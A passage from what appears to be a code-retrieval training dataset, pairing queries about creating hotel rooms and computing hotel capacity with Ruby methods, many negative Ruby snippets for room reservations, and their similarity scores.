[ "0.8190892", "0.81529886", "0.81529886", "0.8027877", "0.7936746", "0.7936746", "0.7936746", "0.7936746", "0.79250276", "0.77923024", "0.77425694", "0.77425694", "0.77425694", "0.7654268", "0.7654268", "0.7654268", "0.76419175", "0.7635613", "0.76116097", "0.7478552", "0.7478552", "0.7478552", "0.7477631", "0.74099904", "0.73774594", "0.736224", "0.7348419", "0.7347648", "0.7302716", "0.7302202", "0.7273754", "0.7273308", "0.7259871", "0.72413856", "0.72313017", "0.7223979", "0.7201909", "0.7201909", "0.71862453", "0.7171649", "0.7168899", "0.71285045", "0.7116504", "0.71080524", "0.7085652", "0.70730484", "0.70351696", "0.7029971", "0.70148635", "0.6998565", "0.6982381", "0.6981514", "0.6976097", "0.6950609", "0.6950609", "0.6950609", "0.6950609", "0.6950609", "0.6940687", "0.69378567", "0.69041437", "0.68924755", "0.68673503", "0.68452936", "0.6844678", "0.68404096", "0.6832513", "0.679615", "0.6770791", "0.6759748", "0.6753581", "0.6753581", "0.67480165", "0.67388654", "0.6726153", "0.6692835", "0.6689719", "0.66872805", "0.6680311", "0.6674985", "0.6671379", "0.6658041", "0.66545844", "0.66545844", "0.6647398", "0.663865", "0.6637481", "0.6636703", "0.6628781", "0.6622055", "0.66182464", "0.66140985", "0.66134363", "0.66092193", "0.65998906", "0.6595071", "0.6575769", "0.65752995", "0.6570126", "0.6565222", "0.65439117" ]
0.0
-1
Create multiple rooms for the hotel.
def create_rooms(rooms_params) rooms_params[:extra_info] ||= "" rooms_params[:range].each do |number| rooms << Room.create( number: number.to_i, capacity: rooms_params[:capacity].to_i, extra_info: rooms_params[:extra_info], name: rooms_params[:name] ) end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def make_hotel_rooms\n (1..20).each do |num|\n @all_rooms << num #Hotel::Room.new(num) I don't think I have to do this\n end\n end", "def create_rooms(rooms_id_array)\n if self.room_areas.empty?\n 1.upto(self.bedrooms) do \n room_area = RoomArea.new(:property_id => self.id,\n :room_id => Room.find_by_name(\"Room\").id)\n room_area.save\n end\n end\n for room_id in rooms_id_array do\n room_area = RoomArea.new(:property_id => self.id,\n :room_id => room_id)\n room_area.save\n end\n end", "def sync_rooms\n create_rooms if hotel.rooms.size.zero?\n hotel.rooms.real.each do |room|\n room_id = room.send(connector_room_id_key)\n setup_room_prices(room_id, room.id)\n end\n end", "def new_rooms\n min_rooms = MIN_NEXT_ROOMS\n max_rooms = MAX_NEXT_ROOMS\n rand(min_rooms..max_rooms).times do\n @next_rooms << Zarta::Room.new(@dungeon)\n end\n end", "def initialize\n\t\t\t@rooms = []\n\t\t\t@reservation_blocks = []\n\n\t\t\t20.times do |index|\n\t\t\t\t@rooms << HotelManager::Room.new(id: index + 1)\n\t\t\tend\n\t\tend", "def initialize\n @reservations_list = []\n @block_list = []\n @all_rooms = []\n make_hotel_rooms\n end", "def create\n @room = Room.new(room_params)\n respond_to do |format|\n if @room.save\n if params[:hotel_id].present?\n @room.hotel = params[:hotel_id]\n end\n create_amenity\n create_damage\n format.html { redirect_to hotel_path(@room.hotel_id), notice: 'Room was successfully created.' }\n format.json { render :show, status: :created, location: @room }\n else\n format.html { render :new }\n format.json { render json: @room.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_rooms\n Room.find_or_create_by(name: @moving_item.room)\n end", "def setup_hotel\n single = Room.new('Single', 1, 30)\n double = Room.new('Double', 2, 50)\n family = Room.new('Family', 4, 85)\n\n hotel = Hotel.new\n hotel.add_room_type(single, 2)\n hotel.add_room_type(double, 3)\n hotel.add_room_type(family, 1)\n hotel\nend", "def create\n @room = Room.new(room_params)\n\n respond_to do |format|\n if @room.save\n seatQuantity = (@room.rows * @room.columns)\n (1..seatQuantity).each do |i|\n @seating = Seating.create! slot: true,\n room_id: @room.id\n @seating.save\n end\n format.html { redirect_to edit_room_path(@room), notice: 'Room was successfully created.' }\n format.json { render :show, status: :created, location: @room }\n else\n format.html { render :new }\n format.json { render json: @room.errors, status: :unprocessable_entity }\n end\n end\n end", "def createRooms(roomTable)\n\n roomsArray = []\n i = 0\n while i < roomTable.size\n roomsArray[i] = Room.new(roomTable[i][\"Building\"], roomTable[i][\"Room\"], roomTable[i][\"Capacity\"], roomTable[i][\"Computers Available\"], roomTable[i][\"Seating Available\"], roomTable[i][\"Seating Type\"], roomTable[i][\"Food Allowed\"], roomTable[i][\"Priority\"], roomTable[i][\"Room Type\"])\n i+=1\n end\n return roomsArray\nend", "def hotel_rooms\n \tobject.available_hotel_rooms @instance_options[:check_in], @instance_options[:check_out]\n end", "def new\n @room = Hotel.find(params[:hotel_id]).rooms.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @room }\n end\n end", "def initialize\n @rooms = list_rooms\n @reservations = []\n end", "def createRoom()\n\t\twidth = rand(@areaWidth * 0.5 .. @areaWidth * 0.7).floor\n\t\theight = rand(@areaHeight * 0.5 .. @areaHeight * 0.7).floor\n\t\t@room = [\n\t\t\trand(@areaX + @areaWidth * 0.15 .. @areaX + @areaWidth - width * 1.15).ceil,\n\t\t\trand(@areaY + @areaHeight * 0.15 .. @areaY + @areaHeight - height * 1.15).ceil,\n\t\t\twidth,\n\t\t\theight,\n\t\t]\n\tend", "def generate_rooms\n\n allocated_cells = get_allocated_cells\n taken_cells = 0\n room_id = 1\n\n max_room_w = @width * Dungeon::ROOM_SIZE_WEIGHT - 1\n max_room_h = @height * Dungeon::ROOM_SIZE_WEIGHT - 1\n\n # Make rooms until all the allocation has dried out\n while taken_cells < allocated_cells\n\n r_w = (rand*max_room_w).ceil + 1\n r_h = (rand*max_room_h).ceil + 1\n if r_w.odd? && r_h.odd?\n place_room(r_w, r_h, room_id)\n taken_cells += r_w*r_h\n room_id += 1\n end\n end\n end", "def rooms\n Hpricot(get.body).search(\"//h2/a\").collect do |a|\n Room.new(self, room_id_from_url(a.attributes['href']), a.inner_html)\n end\n end", "def create\n @room = Room.new(room_params)\n @room = @venue.rooms.new(room_params)\n\n if @room.save\n redirect_to venue_rooms_path\n else\n render :action => 'new'\n end\n end", "def add_room(room)\n @@number_of_rooms += 1\n @rooms << room\n end", "def create\n param = room_params\n \n roomtype=Roomtype.new\n roomtype.AC=param[:AC]\n roomtype.beds=param[:beds].to_i\n param.delete(\"AC\")\n param.delete(\"beds\")\n @room = current_hotel.rooms.build(param)\n respond_to do |format|\n if @room.save\n roomtype.room_id=@room.id\n roomtype.save\n format.html { redirect_to @room, notice: \"Room was successfully created.\" }\n format.json { render :show, status: :created, location: @room }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @room.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @room = Room.new(params[:room])\n\n respond_to do |format|\n if @room.save\n format.html { redirect_to hotel_path @room.hotel, notice: 'Room was successfully created.' }\n format.json { render json: @room, status: :created, location: @room }\n else\n format.html { render action: \"new\" }\n format.json { render json: @room.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @room = Room.new(room_params)\n @room.hotel = Hotel.find_by_name(params[:room][:hotel])\n \n respond_to do |format|\n if @room.save\n format.html { redirect_to crew_rooms_path, notice: 'Quarto foi criado com sucesso.' }\n format.json { render :edit, status: :created, location: @room }\n else\n format.html do\n set_hotel_names\n render :new \n end \n\n format.json { render json: @room.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_default_rooms\n wish_list_name = 'Wish List'\n self.dressing_rooms.create label: wish_list_name unless self.dressing_rooms.any? {|room| room.label == wish_list_name}\n\n closet_name = 'My Closet'\n self.dressing_rooms.create label: closet_name unless self.dressing_rooms.any? {|room| room.label == closet_name}\n\n session_name = \"My Cart\"\n session_room = self.dressing_rooms.create label: session_name unless self.dressing_rooms.any? {|room| room.label == session_name}\n self.recent_dressing_room = session_room if self.recent_dressing_room.nil?\n self.save!\n end", "def available_rooms\n @booking = current_user.bookings.new(booking_params)\n @hotel_rooms = @hotel_category.hotel_rooms.available_rooms(params[:booking][:check_in], params[:booking][:check_out])\n end", "def generate_rooms\n\n allocated_cells = get_allocated_cells\n taken_cells = 0\n room_id = 1\n\n max_room_w = @width * Dungeon::ROOM_SIZE_WEIGHT - 1\n max_room_h = @height * Dungeon::ROOM_SIZE_WEIGHT - 1\n\n # Make rooms until all the allocation has dried out\n while taken_cells < allocated_cells\n \n r_w = (rand*max_room_w).ceil + 1\n r_h = (rand*max_room_h).ceil + 1\n if r_w.odd? && r_h.odd? \n place_room(r_w, r_h, room_id) \n taken_cells += r_w*r_h\n room_id += 1\n end\n end\n \n puts \"Alloc: #{allocated_cells} Placed:#{taken_cells}\"\n\n end", "def create\n @reservation = Reservation.new(reservation_params) \n respond_to do |format|\n if @reservation.save\n\n Reservation.last.reservation_rooms.each do |reservation|\n #Cambio el estado de la habitacion\n reservation.update({start: reservation.check_in, end: (reservation.check_out.to_date)+1,title: \"Reserva: \"+Room.find(reservation.room_id).identificador ,textColor: \"#ffffff\"})\n #Le pongo check_in y check_out para el calendario\n Room.find(reservation.room_id).update({state_id: 3})\n end\n\n format.html { redirect_to reservations_path(), notice: 'Reservacion creada exitosamente.' }\n #format.json { render :show, status: :created, location: @reservation }\n else\n #@my_reservation_requests = ReservationRequest.find(reservation_params[:reservation_request_id])\n #@reservation.reservation_requests.build()\n @reservation.reservation_rooms.build() \n format.html { render :new }\n format.json { render json: @reservation.errors, status: :unprocessable_entity }\n end\n end\n end", "def assign_room\n total_rooms, available_rooms = [], []\n room_type = RoomType.find(self.room_type_id)\n total_rooms = room_type.rooms.pluck(:id)\n booked_rooms = Booking.where('(start_date >= ? and start_date <= ?) or (end_date >= ? and end_date <= ?)', self.start_date, self.end_date, self.start_date, self.end_date).pluck(:room_id)\n available_rooms = total_rooms - booked_rooms\n self.update_column(:room_id, available_rooms.first)\n end", "def reserve_room(start_date, end_date)\n requested_range = DateRange.new(start_date: start_date, end_date: end_date)\n reservable_rooms = available_rooms(requested_range)\n chosen_room = nil\n\n # pick first room in list of open rooms\n if reservable_rooms.length == 0\n raise ArgumentError.new(\"There are no open rooms available between the dates #{start_date} and #{end_date}. Please try another date range.\")\n else \n chosen_room = reservable_rooms.first \n end \n\n # create a unique id \n if @reservations.length == 0 \n new_res_id = 1\n else \n new_res_id = @reservations.last.id + 1\n end \n\n # create a new reservation \n new_reservation = Hotel::Reservation.new(id: new_res_id, room_num: chosen_room, start_date: start_date, end_date: end_date)\n\n # update @reservations \n update_reservations_list(new_reservation)\n end", "def initialize_hotels\n Hotel.all.each do |hotel|\n GameHotel.create(name: hotel.name, hotel_id: hotel.id, game_id: self.id, chain_size: 0, share_price: 0)\n end\n end", "def create_Ant_Room\n @rooms.each do |room|\n if food > 0\n myAnt = Ant.new\n myAnt.x = room.x\n myAnt.y = room.y\n myAnt.anthill = self\n\n if room.type == \"foreger\"\n myAnt = create_Forager(myAnt)\n elsif room.type == \"builder\"\n myAnt = create_Builder(myAnt)\n else\n myAnt = create_Warrior(myAnt)\n end\n\n Meadow.instance.add_AntToCell(myAnt, @x, @y)\n @food -= 1 \n else\n break\n end\n\n end\n\n end", "def create_elevator_list\n \n for elevatorID in 1..Column.num_elevators do\n elevator = Elevator.new(elevatorID)\n elevator.create_floor_buttons()\n @elevator_list.append(elevator)\n end\n end", "def room_list\n @roomtype = DetailRoom.all_types\n @time = Room.all_times\n @day_list = Room.all_days\n if session[:admin] == nil\n redirect_to rooms_path\n end\n @admin = session[:admin]\n @rooms = {} \n @roomtype.each do |type|\n @rooms[type] = DetailRoom.find_all_by_room_type(type)\n end \n end", "def newreservation\n @reservation = Reservation.new\n @rooms = Room.new\n @room = Room.all\n render 'reservations/newreservation'\n end", "def create\n @room = Room.new(room_params)\n\n respond_to do |format|\n if @room.save\n format.html { redirect_to hotelprofile_path, notice: 'Room was successfully created.' }\n format.json { render :show, status: :created, location: @room }\n else\n format.html { render :new }\n format.json { render json: @room.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @room = Room.new(params[:room])\n \n @room.site_id = params[:site_id]\n \n params[:criteria].each_pair do |k,v|\n @room.criterias << Criteria.find(k.to_i) if v == \"1\"\n end\n \n params[:not_criteria].each_pair do |k,v|\n @room.not_criterias << Criteria.find(k.to_i) if v == \"1\"\n end\n \n respond_to do |format|\n if @room.save\n flash[:notice] = 'Room was successfully created.'\n format.html { redirect_to agency_site_rooms_path(params[:agency_id], params[:site_id]) }\n format.xml { render :xml => @room, :status => :created, :location => @room }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @room.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @room = Room.new(room_params)\n @room.admin_id = current_user.id\n @room.users.push(current_user)\n\n respond_to do |format|\n if @room.save\n format.html { redirect_to @room, notice: \"Room was successfully created.\" }\n format.json { render :show, status: :created, location: @room }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @room.errors, status: :unprocessable_entity }\n end\n end\n end", "def show\n @rooms= Room.all.order(\"RANDOM()\").limit(3)\n @reservation=current_user.reservations.build\n end", "def create_room\n Room.new\n end", "def list_all_rooms_in_hotel\n\n return @rooms.map { |room| room }\n end", "def index\n @rooms = Room.all\n @room = Room.new\n end", "def create_room(company, params = {})\n $LOG.i \"running \" + __method__.to_s\n @client.post '/messages/v3/' + company + '/rooms', params\n end", "def reserve_room\n unless rooms_available?\n raise NoRoomsError.new(\"All rooms are reserved.\")\n end\n room = @available_rooms.pop\n @reserved_rooms << room\n return room\n end", "def add_room(reference, name, description, connections)\n\t\t@rooms << Room.new(reference, name, description, connections)\n\tend", "def createFloorDoorsList\n for x in 1..@numberOfFloors do\n @floorDoorsList.append(Door.new(x, DoorStatus::CLOSED, x))\n # puts \"elevator#{@id} door floor #{@floorDoorsList[x - 1].id} created\"\n end\n end", "def room_list\n\t\t@room = Accommodation.find_all_by_host_id(@current_user.id)\n\t\t@date = RoomBooking.find_all_by_room_id(@room)\n \tend", "def create\n room = params[:room]\n if Room.find_by_room_id(room[\"room_id\"]) == nil\n @room = Room.new(params[:room])\n respond_to do |format|\n if @room.save\n format.html { redirect_to @room, notice: 'Room was successfully created.' }\n format.json { render json: @room, status: :created, location: @room }\n else\n format.html { render action: \"new\" }\n format.json { render json: @room.errors, status: :unprocessable_entity }\n end\n end\n else\n flash[:notice] = \"can not add new room\"\n redirect_to new_room_path\n end\n end", "def new\n @room = Room.new\n @room = @venue.rooms.new\n end", "def booked_room\n start_date = Date.parse(params[:start_date])\n end_date = Date.parse(params[:end_date])\n (start_date..end_date).each do |date|\n booked_room = BookingStatus.new(\n start_date: date,\n user_id: current_user.id,\n room_id: params[:room_id]\n )\n\n booked_room.save\n end\n end", "def add_room(reference, name, description, connections)\r\n @rooms << Room.new(reference, name, description, connections)\r\n end", "def create_room(attributes, options = {})\n options.defaults = {\n set_recent: true\n }\n room = dressing_rooms.create(attributes)\n room.prepare(prepare_all: true)\n\n set(:recent_dressing_room_id, room.id) if options[:set_recent]\n end", "def create\n @room = current_user.rooms.create({name: params[:room][:name],\n max_user: params[:room][:max_user],\n host_id: current_user.id,\n salvo: params[:room][:salvo],\n occupancy: 1\n })\n @room.set_user_status(current_user, USER_STATUS[:join])\n @room.status = ROOM_STATUS[:open]\n # Broadcast a message\n channel = \"server_channel\"\n respond_message = {\n message: \"a room created\",\n }\n\n self.broadcast_message_to_channel(channel, :room_created, respond_message)\n\n respond_to do |format|\n if @room.save\n format.html { redirect_to @room, notice: 'Room was successfully created.' }\n format.json { render json: @room.to_hash_with_users(current_user).to_json, status: :created, location: @room }\n else\n format.html { render action: \"new\" }\n format.json { render json: @room.errors, status: :unprocessable_entity }\n end\n end\n\n end", "def create\n @hotel_room = HotelRoom.new(params[:hotel_room])\n\n respond_to do |format|\n if @hotel_room.save\n format.html { redirect_to @hotel_room, notice: 'Hotel room was successfully created.' }\n format.json { render json: @hotel_room, status: :created, location: @hotel_room }\n else\n format.html { render action: \"new\" }\n format.json { render json: @hotel_room.errors, status: :unprocessable_entity }\n end\n end\n end", "def get_all_rooms(params = {})\n res = call_api(:method => :get, :uri => @api_base.merge(\"room\"), :query_params => params)\n return unless res.successful?\n Rooms.new(res.data)\n end", "def reserve_room(start_date, end_date) \n \n current_room = ()\n if @reservation_list.empty? == true\n current_room = rooms.shift\n elsif @reservation_list.empty? == false\n @reservation_list.include?(start_date)\n count = @reservation_list.count(start_date)\n current_room = rooms[count - 1]\n end\n \n \n room = current_room\n range = Hotel::DateRange.new(start_date, end_date)\n start_date = range.start_date\n end_date = range.end_date\n nights = range.nights\n \n # if the range has overlapping dates, then it will return true\n # if the range returns true \n \n reservation = Reservation.new(start_date, end_date, nights, room)\n \n # if @reservations_list.overlap?(range)\n # raise ArgumentError.new\n # end\n \n @reservation_list << reservation\n return reservation\n end", "def add_multile_people_to_room(guests_to_add)\n\n # for guest in guests_to_add\n # # check_in_guests(guest)\n # @guests.push(guest)\n # end\n\n guests_to_add.each { |guest| @guests.push(guest) }\nend", "def rooms\n @rooms ||= begin\n child_rooms = regions.map(&:rooms).flatten\n child_rooms + local_rooms\n end\n end", "def initialize\n @name = \"Purr Seasons\"\n @address = \"32 Cat St, Tabby Town\"\n @phone = \"1800 MEOW MEOW\"\n @email = \"say_meow@purrseasons.com\"\n @about = \"~ An Experience Your Cat Won\\'t Forget ~ \\n The Purr Seasons is a luxury cat hotel. \\n It's so good you'll wish you could stay too! \\n\\n All our rooms are heated to the purr-fect temperature,\\n are fitted with cosy furnishings,\\n include lots of cuddle time (if your cat likes that!),\\n and are designed to make your cat feel at home. \"\n @rooms = [] # Array of room objects - one advantage of having this array is that when new rooms are added to the Hotel class, the rest of the code does not have to be changed, and it will display in the main application. \n end", "def make_reservation(check_in, check_out, rooms)\n unavailable_rooms = []\n\n if room_flagged_available?(check_in, check_out, rooms, unavailable_rooms)\n @reservations.push(Reservation.new(check_in, check_out, rooms))\n else\n raise ArgumentError.new(\"Room: #{unavailable_rooms} not available\")\n end\n end", "def book_rooms\n @room_category= RoomCategory.all\n end", "def create\n @user=User.find(params[:user_id])\n @room = @user.rooms.create(room_params)\n if @room.save\n render json: @room, status: :created\n else\n render json: @room.errors, status: :unprocessable_entity\n end\n end", "def make_resevation(date_range)\n available_rooms = get_available_rooms(date_range)\n if available_rooms.length < 1\n raise ArgumentError\n end\n new_reservation = Hotel::Reservation.new(date_range,available_rooms[0])\n @reservations << new_reservation\n return new_reservation\n end", "def add_room(room)\n @rooms << room\n return self\nend", "def create\n @room = current_user.rooms.new(room_params)\n\n respond_to do |format|\n if @room.save\n format.html { redirect_to @room, notice: 'Room was successfully created.' }\n format.json { render :show, status: :created, location: @room }\n else\n format.html { render :new }\n format.json { render json: @room.errors, status: :unprocessable_entity }\n end\n end\n end", "def assign_room\n\t\tTeam.update_all({room_1: params[:room_1]}, {number: params[:number]}) unless params[:room_1].blank?\n\t\tTeam.update_all({room_2: params[:room_2]}, {number: params[:number]}) unless params[:room_2].blank?\n\t\tTeam.update_all({room_3: params[:room_3]}, {number: params[:number]}) unless params[:room_3].blank?\n\t\tTeam.update_all({room_4: params[:room_4]}, {number: params[:number]}) unless params[:room_4].blank?\n\t\tredirect_to teams_path, notice: \"Rooms Updated\"\n\tend", "def create\n\n @reservation = Reservation.new(reservation_params)\n\n @passenger = Passenger.new\n @passengers = Passenger.all\n @enterprise = Enterprise.new\n @enterprises = Enterprise.all\n @rooms = Room.all\n @groups = Group.all\n @room_types = RoomType.all\n\n respond_to do |format|\n if @reservation.guardar( new_reservation_rooms )\n format.html { redirect_to @reservation, notice: 'La reserva se ha registrado correctamente.' }\n format.json { render action: 'show', status: :created, location: @reservation }\n else\n format.html { render action: 'new' }\n format.json { render json: @reservation.errors, status: :unprocessable_entity }\n end\n end\n end", "def get_rooms\n # DO NOT DELETE. Condition used for load testing\n @user_id = (params.has_key? :user_id) ? params[:user_id] : session[:user_id]\n @room_ids = Member.where(user_id: @user_id).pluck(:room_id)\n\n @rooms = Room.find(@room_ids)\n #render json: @rooms\n \n @roomList = []\n #@rooms.each { |room|\n for room in @rooms do\n #@room = Room.find_by(id: room_id)\n temp = {}\n temp.store(\"room_id\",room.id)\n temp.store(\"room_name\", room.name) \n temp.store(\"room_token\", room.token)\n @roomList.push(temp)\n end\n render json: {rooms: @roomList}, status: 200\n end", "def initialize\n @rooms = make_rooms\n @reservations = []\n @blocks = []\n end", "def create\n @room = Room.new(room_params)\n\n @room = Room.new(room_params)\n if @room.save\n redirect_to @room\n else\n render 'new'\n end\n end", "def new_reservation(room, checkin_date, checkout_date)\n (checkin_date...checkout_date).each do |day|\n if !room.is_available?(day)\n raise ArgumentError.new(\"Room#{room.room_num} is not available\")\n end\n end\n reservation = BookingSystem::Reservation.new(room: room, checkin_date: checkin_date, checkout_date: checkout_date)\n add_reservation(reservation)\n room.add_reservation(reservation)\n end", "def create\n @room = current_user.rooms.build(room_params)\n if @room.save\n flash[:success] = 'room was created'\n redirect_to rooms_path\n else\n render 'new'\n end\n end", "def index\n @reservation_rooms = ReservationRoom.all\n end", "def add_guests_to_room(guest)\n for person in guest\n guests.push(person)\n end\n end", "def room\n end", "def graph_room_list()\n return MicrosoftGraph::Places::GraphRoomList::GraphRoomListRequestBuilder.new(@path_parameters, @request_adapter)\n end", "def add_room(reference, name, description, connections)\n new_room = Room.new(reference, name, description, connections) \n @rooms << new_room\n return new_room\n end", "def create\n @reservation_room = ReservationRoom.new(reservation_room_params)\n @reservations = Reservation.all\n \n respond_to do |format|\n if @reservation_room.save\n format.html { redirect_to @reservation_room, notice: 'La habitacion se ha asignado a la reserva correctamente.' }\n format.json { render action: 'show', status: :created, location: @reservation_room }\n else\n format.html { render action: 'new' }\n format.json { render json: @reservation_room.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n if authorise(request)\n auth_token = request.headers['Authorization1'].split(' ').last\n req = CreateEscapeRoomRequest.new(params[:name], auth_token)\n serv = RoomServices.new\n resp = serv.create_escape_room(req)\n render json: { status: 'SUCCESS', message: 'Added room id:', data: resp }, status: :ok\n else\n render json: { status: 'FAILED', message: 'Unauthorized' }, status: 401\n end\n end", "def add_room(room)\n @rooms << room\n return self\n end", "def add_room(room)\n @rooms << room\n return self\n end", "def create\n\t\t@room = Room.new(room_params) \n\n\t\trespond_to do |format|\n\t\t\tif @room.save\n\t\t\t\tformat.html { redirect_to @room, notice: 'Room was successfully created.' }\n\t\t\t\tformat.json { render json: @room, status: :created}\n\t\t\telse\n\t\t\t\tformat.html { render :new }\n\t\t\t\tformat.json { render json: @room.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "def local_rooms\n @local_rooms ||= begin\n room_hashes = @data['rooms'] || []\n room_hashes.map { |hash| Room.new(hash) }\n end\n end", "def make_reservation(range)\n\t\t\troom = room_finder(range).first\n\t\t\tnew_reservation = Hotel::Reservation.new(room, range)\n\t\t\t@reservations << new_reservation\n\t\t\troom.reservations << new_reservation\n\n\t\t\treturn new_reservation\n\t\tend", "def create_elevators\n @elevator_number.times do |i|\n floor_gap = @building.floors / @elevator_number * i\n elevator_list.append(Elevator.new(i, 1 + floor_gap, 1 + floor_gap))\n end\n end", "def create\n invalid_booking = false\n duration = params[:booking][:duration].to_i\n quantity = params[:booking][:quantity].to_i\n bk_day = params[:booking][:booking_day]\n bk_day = Date.strptime(bk_day, '%Y-%m-%d')\n last_day = bk_day + duration.days\n room = params[:booking][:room_id]\n @bookings = []\n @availability_update = []\n\n #Check Availability for room on each day and given quantity.\n #If all available for all days, create bookings and save.\n #Reduce Availability quantity for each day.\n\n (bk_day..last_day).each {|day|\n available = Availability.where(available_day:day).where(room_id:room).where(\"quantity>?\",quantity).first\n\n if available\n #build on params and given date.\n #then add to array of bookings/\n @booking = current_user.bookings.build(booking_params)\n @booking.booking_day = day\n @bookings << @booking\n available.quantity = available.quantity - quantity\n @availability_update << available\n else\n invalid_booking = true\n break\n end\n }\n\n if !invalid_booking\n @bookings.each(&:save!)\n @availability_update.each(&:save!)\n render :json => current_user.bookings, status: :created\n else\n puts 'invalid booking'\n render :json => current_user.bookings, status: :unprocessable_entity\n end\n\n end", "def create_trio(guest_id: create_guest.id, room_id: create_room.id, start_date: DateTime.now + 1, end_date: DateTime.now + 2)\n guest = create_guest\n room = create_room\n reservation = create_reservation(guest_id: guest.id, room_id: room.id, start_date: start_date, end_date: end_date)\n [guest, room, reservation]\n end", "def index\n @reservation2_rooms = Reservation2Room.all\n end", "def create\n @room = Room.new(room_params)\n\n if @room.save\n redirect_to admin_rooms_path, notice: 'Room was successfully created.'\n else\n render new\n end\n end", "def create\n @booking = Booking.new(booking_params)\n Room.where(:room_type_id => @booking.room_type_id).each do |room| \n @booking.room = room \n if (Booking.overlapping(@booking)).size == 0\n respond_to do |format|\n if @booking.save\n format.html {\n redirect_to \"/bookings/#{@booking.id}/payment\", notice: 'Booking was successfully created.' \n return;\n }\n format.json { render :show, status: :created, location: @booking }\n else\n format.html { \n render :new \n return\n }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end\n \n end\n\n end", "def create_Ants\n while @food > 0\n create_random_Ant\n create_Ant_Room\n end\n \n end", "def find_available_rooms(rooms, start_date: Date.today, end_date: Date.today + 2)\n return Room.all_available_rooms(rooms, start_date: start_date, end_date: end_date)\n end", "def set_Rooms(value)\n set_input(\"Rooms\", value)\n end", "def create\n @room = Room.new(room_params)\n @room.name = \"Room \" +@room.name\n @room.admin_id = current_admin.id\n respond_to do |format|\n if @room.save\n format.html { redirect_to rooms_path , notice: 'Room was successfully created.' }\n format.json { render :show, status: :created, location: @room }\n else\n format.html { render :new }\n format.json { render json: @room.errors, status: :unprocessable_entity }\n end\n end\n end", "def destroy_rooms\n rooms.destroy_all\n end", "def get_rooms(request_parameters)\r\n http_service.request_get(\"/json/bookings.getRooms\", request_parameters)\r\n # https://distribution-xml.booking.com/json/bookings.getRooms?rows=10&hotel_ids=121543\r\n end", "def reservations_by_room(room, date)\n valid_room_inputs = []\n 20.times do |i|\n valid_room_inputs << (\"room#{i+1}\").to_sym\n end\n\n unless valid_room_inputs.include?(room)\n raise ArgumentError.new(\"Not a valid room\")\n end\n\n room_index = (((room.to_s).match('[0-9]')[0]).to_i) - 1\n reservation_list = []\n\n @rooms[room_index][room].each do |reservation_instance|\n if date.between?(reservation_instance.start_date, reservation_instance.end_date)\n reservation_list << reservation_instance\n end\n end\n\n return reservation_list\n end", "def find_all_available_rooms(date_range)\n\n available_rooms = VALID_ROOM_IDS.dup\n\n if @reservations.empty?\n return @rooms\n end\n\n @reservations.each do |reservation|\n\n range_set_difference = date_range - ((reservation.checkin_date..reservation.checkout_date).to_a - [reservation.checkout_date])\n\n if range_set_difference != date_range\n available_rooms -= [reservation.room_number]\n end\n\n end\n\n if available_rooms.empty?\n raise StandardError.new(\"Hotel fully booked for this date range. Try a different date.\")\n end\n\n return available_rooms\n end", "def assign_rooms(names_array)\n room_assignments_array = []\n\n names_array.each_with_index { | name, index |\n room_assignments_array.push(room_assignment_maker(name, index))\n }\n\n room_assignments_array\nend", "def add_item_to_the_room\n @item = Item.find(params[:id])\n @room = Room.find(params[:room_id])\n \n @item.rooms << @room\n \n render json: @item, include: :rooms\n\n end", "def create\n @reserved_room = ReservedRoom.new(reserved_room_params)\n\n respond_to do |format|\n if @reserved_room.save\n format.html { redirect_to @reserved_room, notice: 'Reserved room was successfully created.' }\n format.json { render :show, status: :created, location: @reserved_room }\n else\n format.html { render :new }\n format.json { render json: @reserved_room.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @room = Room.new(params[:room])\n\n if @room.save\n render :json => @room, :status => :created, :location => @room\n else\n render :json => @room.errors, :status => :unprocessable_entity\n end\n end" ]
[ "0.8082136", "0.7784406", "0.682074", "0.67886865", "0.6748974", "0.66174585", "0.66144365", "0.65795076", "0.65550345", "0.65462756", "0.6497435", "0.6491688", "0.64914095", "0.64692", "0.6443607", "0.6394163", "0.6339617", "0.63248146", "0.6320879", "0.6310198", "0.6309739", "0.6297633", "0.62690437", "0.6267028", "0.6262452", "0.6218885", "0.62095636", "0.6209349", "0.6197995", "0.6196157", "0.61859435", "0.6159893", "0.61468923", "0.6124546", "0.61216927", "0.6117119", "0.61155385", "0.61153674", "0.6098208", "0.6094507", "0.6094011", "0.6077557", "0.6061985", "0.6057282", "0.60490924", "0.6044222", "0.6027515", "0.6021327", "0.6021249", "0.60153824", "0.60125023", "0.60062724", "0.59965956", "0.59647626", "0.59465075", "0.5943575", "0.59430635", "0.59387887", "0.5937858", "0.5934687", "0.59336376", "0.5932097", "0.5924446", "0.59234136", "0.59107566", "0.59079397", "0.59036183", "0.58947736", "0.58861583", "0.5882496", "0.58793867", "0.5878006", "0.58676493", "0.58666295", "0.58665377", "0.58599746", "0.58571917", "0.58545655", "0.58545655", "0.5850259", "0.58429646", "0.5842956", "0.5842644", "0.58412665", "0.58405656", "0.58357036", "0.58319837", "0.58316016", "0.5831329", "0.5829938", "0.58267695", "0.58203495", "0.58150786", "0.5805875", "0.5803566", "0.5798284", "0.5782146", "0.5781399", "0.5780916", "0.57724005" ]
0.78060424
1
Returns the capcity of the hotel based on the sum of the capacity of its rooms
def capacity capacity = 0 rooms.all.each do |room| capacity += room.capacity end capacity end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
